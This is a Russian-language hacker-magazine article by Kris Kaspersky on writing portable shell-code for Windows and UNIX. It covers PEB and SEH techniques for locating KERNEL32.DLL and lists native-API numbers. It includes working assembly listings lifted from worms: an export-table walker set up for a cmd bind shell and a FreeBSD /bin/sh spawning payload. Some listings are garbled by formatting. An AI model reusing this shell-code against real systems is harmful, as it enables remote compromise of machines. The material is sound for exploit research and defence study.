buf.D_API

техника написания переносимого shell-кода

крис касперски ака мыщъх

shell-код никогда заранее не знает куда попадет, поэтому он должен уметь выживать в любых условиях, автоматически адаптируясь под конкретную операционную систему, что не так-то просто сделать. подавляющее большинство хакеров именно на этом и прокалывались. немногие выжившие в поединке дали миру киберпространства то, в чем нуждались десятки червей, вирусов и их создателей…

Последнее время в хакерских кругах много говорят о переносимом shell-коде. Одни восхищаются им, другие презрительно хмыкают, уподобляя переносимый shell-код морской свинке. И не морской, и не свинке. Шутка. Но доля истины в ней есть. «Переносимым» называют программное обеспечение, полностью абстрагированное от конструктивных особенностей конкретного программно-аппаратного обеспечения. Функция printf успешно выводит «hello, world!» как на монитор, так и на телетайп. Поэтому, она переносима. Обратите внимание: переносима именно функция, но не ее реализация. Монитор и телетайп обслуживает различный код, выбираемый на стадии компиляции приложения, а точнее его линковки, но это уже не суть важно.

shell-код – это машинный код, тесно связанный с особенностями атакуемом системы и переносимым он не может быть по определению. Компиляторов shell-кода не существует, хотя бы уже потому что не существует адекватных языков его описания, вынуждая нас прибегать к ассемблеру и машинному коду, которые у каждого процессора свои. Хуже того. В отрыве от периферийного окружения, голый процессор никому не интересен, ведь shell-коду приходится не только складывать и умножать, но еще и открывать/закрывать файлы, обрабатывать сетевые запросы, а для этого необходимо обратиться к API-функциям операционной системы или к драйверу соответствующего устройства. Различные операционные системы используют различные соглашения и эти соглашения сильно неодинаковы. Создать shell-код, поддерживающих десяток-другой популярных осей, вполне возможно, но его размеры превысят все допустимые лимиты и ограничения (длина переполняющихся буферов от силы измеряется десятками байт, это что же выходит: по одному байту на каждую версию shell-кода?!).

Условимся называть переносимым shell-кодом машинный код, поддерживающий заданную линейку операционных систем (например, Windows NT, Window 2000 и Windows XP). Как показывает практика, для решения подавляющего большинства задач такой степени переносимости вполне достаточно. В конце концов, гораздо проще написать десяток узкоспециализированных shell-кодов, чем один универсальный. Что поделаешь, переносимость требует жертв и в первую очередь – увеличения объема shell-кода, а потому она оправдывает себя только в исключительных ситуациях.

Переносимый shell-код должен быть полностью перемещаем (т. е. сохранять работоспособность при любом расположении в памяти) и использовать минимум системно-зависимых служебных структур, закладываясь лишь на наименее изменчивые и наиболее документированные из них.

Отталкиваться от содержимого регистров ЦП на момент возникновения переполнения категорически недопустимо, поскольку их значения в общем случае неопределенны и решиться на такой шаг можно только с голодухи, когда shell-код упрямо не желает вмещать в отведенное ему количество байт и приходится импровизировать, принося в жертву переносимость.

Забудьте о хитрых трюках (в народе именуемых «хаками»), эквилибристических извращениях и недокументированных возможностях – все это негативно сказывается на переносимости и фактически ничего не дает в замен. Помните, анекдот: «Моя программа в сто раз компактнее, быстрее и элегантнее твоей!» «– Зато моя программа работает, а твоя нет». Тезис о том, что хакерство – это искусство еще никто не отменял, но не путайте божий дар с яичницей. Круто извратиться каждый ламер сможет, а вот умение забросить shell-код на сервер ничего при этом не уронив – дано далеко не каждому.

Техника создания перемещаемого кода тесно связана с архитектурой конкретного микропроцессора. В частности, линейка x86 поддерживает следующие относительные команды: PUSH/POP, CALL и Jx. Старушка PDP-11 в этом отношении была намного богаче и, что самое приятное, позволяла использовать регистр указателя команд в адресных выражениях, существенно упрощая нашу задачу. Но, к сожалению, не мы выбираем процессоры. Это процессоры выбирают нас.

Команды условного перехода Jxx всегда относительны, т. е. операнд команды задает отнюдь не целевой адрес, а разницу между целевым адресом и адресом следующей команды, благодаря чему переход полностью перемещаем. Поддерживаются два типа операндов: byte и word/dword, оба знаковые, т. е. переход может быть направлен как «вперед», так и «назад» (в последнем случае операнд становится отрицательным).

Команды безусловного перехода JMP бывают как абсолютными, так и относительными. Относительные начинаются с опкода EBh (операнд типа byte) или E9h (операнд типа word/dword), а абсолютные – с EAh, при этом операнд записывается в форме сегмент: смещение. Существуют еще и косвенные команды, передающие управление по указателю, лежащему по абсолютному адресу или регистру. Последнее наиболее удобно и осуществляется приблизительно так: mov eax, абсолютный адрес/jmp eax.

Команда вызова подпрограммы CALL ведет себя аналогично jmp, за тем лишь исключением, что кодируется другими опкодами (E8h – относительный операнд типа word/dword, FFh /2 – косвенный вызов) и перед передачей управления на целевой адрес забрасывает на верхушку стека адрес возврата, представляющий собой адрес команды, следующей за call.

При условии, что shell-код расположен в стеке (а при переполнении автоматических буферов он оказывается именно там), мы можем использовать регистр ESP в качестве базы, однако, текущее значение ESP должно быть известно, а известно оно далеко не всегда. Для определения текущего значения регистра указателя команд достаточно сделать near call и вытащить адрес возврата командой pop. Обычно это выглядит так:

00000000: E800000000call000000005; закинуть EIP+sizeof(call) встек

00000005: 5Dpopebp; теперь в регистре ebp текущий eip

Листинг 1 определение расположения shell-кода в памяти

Приведенный код не свободен от нулей (а нули в shell-коде в большинстве случаев недопустимы), и чтобы от них избавиться call необходимо перенаправить «назад»:

00000000: EB04jmps000000006; короткий прыжок на call

00000002: 5Dpopebp; ebp содержит адрес следующий за call

00000003: 90nop; \

00000004: 90nop; +- актуальный shell-код

00000005: 90nop; /

00000006: E8F7FFFFFFcall000000002; закинуть адрес следующей команды в стек

Листинг 2 освобождение shell-кода от паразитных нулевых символов

Нет ничего проще вызова API-функции по абсолютным адресам. Выбрав функцию (пусть это будет GetCurrentThreadId, экспортируемая KERNEL32.DLL) мы пропускам ее через утилиту dumpbin, входящую в комплект поставки практически любого компилятора. Узнав RVA (RelativeVirtualAddress – относительный виртуальный адрес) нашей подопечной, мы складываем его с базовым адресом загрузки, сообщаемым тем же dumpbin'ом, получая в результате абсолютный адрес функции.

Полный сеанс работы с утилитой выглядит так:

dumpbin.exe /EXPORTS KERNEL32.DLL > KERNEL32.TXT
type KERNEL32.TXT | MORE

ordinal hint RVA name

270 10D 00007DD2 GetCurrentProcessId

271 10E 000076AB GetCurrentThread

272 10F 000076A1 GetCurrentThreadId

273 110 00017CE2 GetDateFormatA

274 111 00019E18 GetDateFormatW

dumpbin.exe /HEADERS KERNEL32.DLL > KERNEL32.TXT
type KERNEL32.TXT | MORE

OPTIONAL HEADER VALUES

10B magic #

5.12 linker version

5D800 size of code

56400 size of initialized data

0 size of uninitialized data

871D RVA of entry point

1000 base of code

5A000 base of data

77E80000 image base

1000 section alignment

200 file alignment

Листинг 3 для определения абсолютного адреса функции GetCurrentThreadId необходимо сложить ее RVA адрес (76A1h) с ее базовым адресом загрузки модуля (77E80000h)

На машине автора абсолютный адрес функции GetCurrentThreadId равен 77E876A1h, но в других версиях Windows NT он наверняка будет иным. Зато ее вызов свободно укладывается всего в две строки, соответствующие следующим семи байтам:

00000000: B8A1867E07moveax,0077E86A1

00000005: FFD0calleax

Листинг 4 прямой вызов API-функции по абсолютному адресу

Теперьпопробуемвызватьфункцию connect, экспортируемую ws2_32.dll. Пропускаем ws2_32.dll через dumpbin и… Стоп! А кто нам вообще обещал, что эта динамическая библиотека окажется в памяти? А если даже и окажется, то не факт, что базовый адрес, прописанный в ее заголовке, совпадает с реальным базовым адресом загрузки. Ведь динамических библиотек много и если этот адрес уже кем-то занят, операционная система загрузит библиотеку в другой регион памяти.

Лишь две динамические библиотеки гарантируют свое присутствие в адресном пространстве любого процесса, всегда загружаясь по одним и тем же адресам1). Это: KEREN32.DLL и NTDLL.DLL. Функции, экспортируемые остальными библиотеками, правильно вызывать так:

h = LoadLibraryA(«ws2_32.DLL»);

if (h != 0) error;

zzz = GetProcAddress(h, «connect»);

Листинг 5 псевдокод, демонстрирующий вызов произвольных функций

Таким образом, задача вызова произвольной функции сводится к поиску адресов функций LoadLibraryA и GetProcAddress.

Наиболее универсальный, переносимый и надежный способ определения адресов API-функций сводится к сканированию адресного пространства процесса на предмет поиска PE-сигнатур с последующим разбором таблицы экспорта.

Устанавливаем указатель на C0000000h (верхняя граница пользовательского пространства для Windows 2000 AdvancedServer и DatacenterServer, запущенных с загрузочным параметром /3GB) или на 80000000h (верхняя граница пользовательского пространства всех остальных систем).

Проверяем доступность указателя вызовом функции IsBadReadPrt, экспортируемой KERNEL32.DLL или, устанавливаем свой обработчик структурных исключений для предотвращения краха системы (подробности обработки структурных исключений – в следующей статье). Если здесь лежит «MZ», увеличиваем указатель на 3Ch байта, извлекая двойное слово e_lfanew, содержащее смещение «PE» сигнатуры. Если эта сигнатура действительно обнаруживается, базовый адрес загрузки динамического модуля найден и можно приступать к разбору таблицы экспорта, из которого требуется вытащить адреса функций GetLoadLibraryA и GetProcAddress (зная их, мы узнаем все остальное). Если хотя бы одно из этих условий не выполняется, уменьшаем указатель на 10000h и все повторяем сначала (базовые адреса загрузки всегда кратны 10000h, поэтому этот прием вполне законен).

BYTE* pBaseAddress = (BYTE*) 0xС0000000; верхняя граница для всех систем while(pBaseAddress) мотаем цикл от бобра до обеда

{

проверка доступности адреса на чтение if (!IsBadReadPtr(pBaseAddress, 2)) это «MZ»?

if (*(WORD*)pBaseAddress == 0x5A4D)

указатель на «PE» валиден? if (!IsBadReadPtr(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C)), 4)) а это «PE»?

if (*(DWORD*)(pBaseAddress + (*(DWORD*)(pBaseAddress+0x3C))) == 0x4550)

приступаем к разбору таблицы импорта if (n2k_simple_export_walker(pBaseAddress)) break; тестируем следующий 64 Кб блок памяти

pBaseAddress -= 0x10000;

}

Листинг 6 псевдокод, осуществляющий поиск базовых адресов всех загруженных модулей по PE-сигнатуре

Разбор таблицы экспорта осуществляется приблизительно так (пример, выдранный из безымянного червя BlackHat, полный исходный текст которого можно найти на сайте www.blackhat.com):

callhere

db«GetProcAddress»,0,«LoadLibraryA»,0

db«CreateProcessA»,0,«ExitProcess»,0

db«ws2_32»,0,«WSASocketA»,0

db«bind»,0,«listen»,0,«accept»,0

db«cmd»,0

here:

popedx

pushedx

movebx,77F00000h

l1:

cmpdword ptr [ebx],905A4Dh ;/x90ZM

jel2

;db74h,03h

decebx

jmpl1

l2:

movesi,dword ptr [ebx+3Ch]

addesi,ebx

movesi,dword ptr [esi+78h]

addesi,ebx

movedi,dword ptr [esi+20h]

addedi,ebx

movecx,dword ptr [esi+14h]

pushesi

xoreax,eax

l4:

pushedi

pushecx

movedi,dword ptr [edi]

addedi,ebx

movesi,edx

xorecx,ecx

;GetProcAddress

movcl,0Eh

repecmps

popecx

popedi

jel3

addedi,4

inceax

loopl4

jmpecx

l3:

popesi

movedx,dword ptr [esi+24h]

addedx,ebx

shleax,1

addeax,edx

xorecx,ecx

movcx,word ptr [eax]

moveax,dword ptr [esi+1Ch]

addeax,ebx

shlecx,2

addeax,ecx

movedx,dword ptr [eax]

addedx,ebx

popesi

movedi,esi

xorecx,ecx

;Get 3 Addr

movcl,3

callloadaddr

addesi,0Ch

Листинг 7 ручной разбор таблицы экспорта

Главный недостаток этого способа в его чрезмерной громоздкости, а ведь предельно допустимый объем shell-кода ограничен, но, к сожалению, ничего лучшего пока не придумали. Поиск базового адреса можно и заоптимизировать (что мы сейчас, собственно, и продемонстрируем), но от разбора экспорта никуда не уйти… Это карма переносимого shell-кода или дань, выплачивая за мобильность.

Из всех способов определения базового адреса, наибольшей популярностью пользуется анализ PEB (Process environment block – Блок Окружения Процесса) – служебной структуры данных, содержащей среди прочей полезной информации и базовые адреса всех загруженных модулей.

Популярность незаслуженная и необъяснимая. Ведь PEB – это внутренняя кухня операционной системы Windows NT, которой ни документация, ни включаемые файлы делится не собираются и лишь Microsoft Kernel Debugger обнаруживает обрывки информации. Подобная степень недокументированности не может не настораживать. В любой из последующих версиях Windows, структура PEB может измениться, как это она уже делала неоднократно, и тогда данный примем перестанет работать, а работает он, кстати говоря, только в NT. Линейка 9x отдыхает.

Так что задумайтесь – а так ли вам этот PEB нужен? Единственное его достоинство – предельно компактный код:

00000000: 33C0xoreax,eax; eax := 0

00000002: B030moval,030; eax := 30h

00000004: 648B00moveax,fs:[eax]; PEB base

00000007: 8B400Cmoveax, [eax][0000C]; PEB_LDR_DATA

0000000A: 8B401Cmoveax, [eax][0001C]; 1йэлемент InInitOrderModuleList

0000000D: ADlodsd; следующий элемент

0000000E: 8B4008moveax, [eax][00008]; базовый адрес KERNEL32.DLL

Листинг 8 определение базового адреса KERNEL32.DLL путем анализа PEB

Обработчик структурных исключений, назначаемый операционной системой по умолчанию, указывает на функцию KERNEL32!_except_handler3. Определим ее адрес, мы определим положение одной из ячеек, гарантированно принадлежащей модулю KERNEL32.DLL, после чего останется округлить его на величину кратную 1.0000h и заняться поисками PE сигнатуры по методике, изложенной в «артобстрел прямого поиска в памяти» с той лишь разницей, что проверять доступность указателя перед обращением к нему ненужно, т. к. теперь он заведомо доступен.

Практически все приложения используют свои обработчики структурных исключений и потому, текущий обработчик не совпадает с обработчиком, назначенным операционной системой и shell-коду требуется раскрутить цепочку обработчиков, добравшись до самого конца. Последний элемент списка и будет содержать адрес KERNEL32!_except_handler3.

Достоинство этого приема в том, что он использует только документированные свойства операционной системы, работая на всех операционных системах семейства Windows, исключая, разумеется Windows 3.x, где все не так. К тому же он довольно компактен.

00000000: 6764A10000moveax,fs:[00000]; текущ. EXCEPTION_REGISTRATION

00000005: 40inceax; если eax был –1, станет 0

00000006: 48deceax; откат на прежний указатель

00000007: 8BF0movesi,eax; esi на EXCEPTION_REGISTRATION

00000009: 8B00moveax,[eax]; EXCEPTION_REGISTRATION.prev

0000000B: 40inceax; если eax был –1, станет 0

0000000C: 75F8jne000000006; если не нуль, разматываем дальше

0000000E: ADlodsd; пропускаем prev

0000000F: ADlodsd; извлекаем handler

00000010: 6633C0xorax,ax; выравниваем на 64 Кб

00000013: EB05jmps00000001A; прыгаем в тело цикла

00000015: 2D00000100subeax,000010000; спускаемся на 64 Кб вниз

0000001A: 6681384D5Acmpw,[eax],05A4D; это «MZ»?

0000001F: 75F4jne000000015; если не «MZ», продолжаем мотать

00000021: 8B583Cmovebx,[eax+3Ch]; извлекаем указатель на PE

00000024: 813C1850450000cmp[eax+ebx],4550h; это «PE»?

0000002B: 75E8jne000000015; если не «PE», продолжаем мотать

Листинг 9 определение базового адреса KERNEL32.DLL через SEH, возвращаемом в регистре EAX

Высшим пилотажем хакерства считается использование голого API операционной системы (оно же nativeAPI или сырое API). На самом деле, извращение без причины – признак ламерщины. Мало того, что nativeAPI-функции полностью недокументированны и подвержены постоянным изменениям, так они еще и непригодны к непосредственному употреблению (вот поэтому они и «сырые»). Это полуфабрикаты, реализующие низкоуровневые примитивы (primitive), своеобразные строительные кирпичики, требующие большого объема сцепляющего кода, конкретные примеры реализации которого можно найти в NTDLL.DLL и KERNEL32.DLL.

В Windows NT доступ к native-API функциям осуществляется через прерывание INT 2Eh. В регистр EAX заносится номер прерывания, а в EDX – адрес параметрического блока с аргументами. В Windows XP для этой же цели используется машинная команда sysenter, но все свойства прерывания INT 2Eh полностью сохранены, во всяком случае пока…

Ниже перечислены наиболее интересные функции native-API, применяющиеся в shell-кодах, а подробное изложение техники их вызова на русском языке можно найти в частности здесь: http://www.wasm.ru/docs/3/gloomy.zip.

000hAcceptConnectPort(24 bytes of parameters)

00AhAllocateVirtualMemory(24 bytes of parameters)

012hConnectPort(32 bytes of parameters)

017hCreateFile(44 bytes of parameters)

019hCreateKey(28 bytes of parameters)

01ChCreateNamedPipeFile(56 bytes of parameters)

01EhCreatePort(20 bytes of parameters)

01FhCreateProcess(32 bytes of parameters)

024hCreateThread(32 bytes of parameters)

029hDeleteFile(4 bytes of parameters)

02AhDeleteKey(4 bytes of parameters)

02ChDeleteValueKey(8 bytes of parameters)

02DhDeviceIoControlFile(40 bytes of parameters)

03AhFreeVirtualMemory(16 bytes of parameters)

03ChGetContextThread(8 bytes of parameters)

049hMapViewOfSection(40 bytes of parameters)

04FhOpenFile(24 bytes of parameters)

051hOpenKey(12 bytes of parameters)

054hOpenProcess(16 bytes of parameters)

059hOpenThread(16 bytes of parameters)

067hQueryEaFile(36 bytes of parameters)

086hReadFile(36 bytes of parameters)

089hReadVirtualMemory(20 bytes of parameters)

08FhReplyPort(8 bytes of parameters)

092hRequestPort(8 bytes of parameters)

096hResumeThread(8 bytes of parameters)

09ChSetEaFile(16 bytes of parameters)

0B3hSetValueKey(24 bytes of parameters)

0B5hShutdownSystem(4 bytes of parameters)

0BAhSystemDebugControl(24 bytes of parameters)

0BBhTerminateProcess(8 bytes of parameters)

0BChTerminateThread(8 bytes of parameters)

0C2hUnmapViewOfSection(8 bytes of parameters)

0C3hVdmControl(8 bytes of parameters)

0C8hWriteFile(36 bytes of parameters)

0CBhWriteVirtualMemory(20 bytes of parameters)

0CChW32Call(20 bytes of parameters)

Листинг 10 основные функции native-API

методчем поддерживаетсяпереносим?удобен в реализации?
NT/2000/XP9x
жесткая привязкададанетда
поиск в памятидададанет
анализ PEBданетчастичнода
раскрутка SEHдададада
nativeAPIдане совсем2)нетнет

Таблица 1 сводная таблица различных методов поиска API-адресов, победитель выделен красным цветом

Зоопарк UNIX-подобных систем валит с ног своим разнообразием, осложняя разработку переносимых shell-кодов до чрезвычайности.

Используются по меньшей мере шесть способов организации интерфейса с ядром: дальний вызов по селектору семь смещение ноль (HP-UX/PA-RISC, Solaris/x86, xBSD/x86), syscall (IRIX/MIPS), ta 8 (Solaris/SPARC), svca (AIX/POWER/PowerPC), INT 25h (BeOS/x86) и INT 80h (xBSD/x86, Linix/x86), причем порядок передачи параметров и номера системных вызов у всех разные. Некоторые системы перечислены дважды, это означает, что они используют гибридный механизм системных вызовов.

Подробно описывать каждую из систем здесь неразумно, т. к. это заняло бы слишком много места, тем более, что это давным-давно описано в «UNIX Assembly Codes Development forVulnerabilitiesIllustrationPurposes» от Last Stage of Delirium Research Group (http://opensores.thebunker.net/pub/mirrors/blackhat/presentations/bh-usa-01/LSD/bh-usa-01-lsd.pdf). Да-да! Той самой легендарной хакерской группы, что нашла дыру в RPC. Это действительно толковые парни, и пишут они классно (я только крякал когда читал).

Ниже в качестве примера приведен код, дающий удаленный shell под *BSD/x86, выдранный из червя mworm с краткими комментариями (комментарии – мои, а червь свой собственный):

data:0804F860x86_fbsd_shell:; eax := 0

data:0804F860 31 C0xoreax, eax

data:0804F862 99cdq; edx : = 0

data:0804F863 50pusheax

data:0804F864 50pusheax

data:0804F865 50pusheax

data:0804F866 B0 7Emoval, 7Eh

data:0804F868 CD 80int80h; LINUX - sys_sigprocmask

data:0804F86A 52pushedx; завершающий ноль

data:0804F86B 68 6E 2F 73 68push68732F6Eh; ..n/sh

data:0804F870 44incesp

data:0804F871 68 2F 62 69 6E push6E69622Fh; /bin/n..

data:0804F876 89 E3movebx, esp

data:0804F878 52pushedx

data:0804F879 89 E2movedx, esp

data:0804F87B 53pushebx

data:0804F87C 89 E1movecx, esp

data:0804F87E 52pushedx

data:0804F87F 51pushecx

data:0804F880 53pushebx

data:0804F881 53pushebx

data:0804F882 6A 3Bpush3Bh

data:0804F884 58popeax

data:0804F885 CD 80int80h; LINUX - sys_olduname

data:0804F887 31 C0xoreax, eax

data:0804F889 FE C0incal

data:0804F88B CD 80int80h; LINUX - sys_exit

Листинг 11 фрагмент червя mworm, демонстрирующий технику использования системных вызовов

Рисунок 1 еще один пример использования системных вызовов в диверсионных целях

В непрерывно изменяющемся мире киберпространства, полученные знания и навыки устаревают необычайно быстро и потому предложенные приемы спустя некоторое время перестанут работать. Но, прежде чем это произойдет, хакеры додумаются до новых!

Не воспринимайте данную статью как догму! Это уже отработанный материал. Устремите свой взгляд в мутную пелену будущего. Что вы видите там? Какие идеи мелькают в вашей голове? Что вы ждете? Ведь если вы не додумаетесь, никто не додумается! Так дерзайте же!

1)
базовый адрес загрузки этих динамических библиотек постоянен для данной версии операционной системы
2)
разумеется, у 9x есть nativeAPI, но другое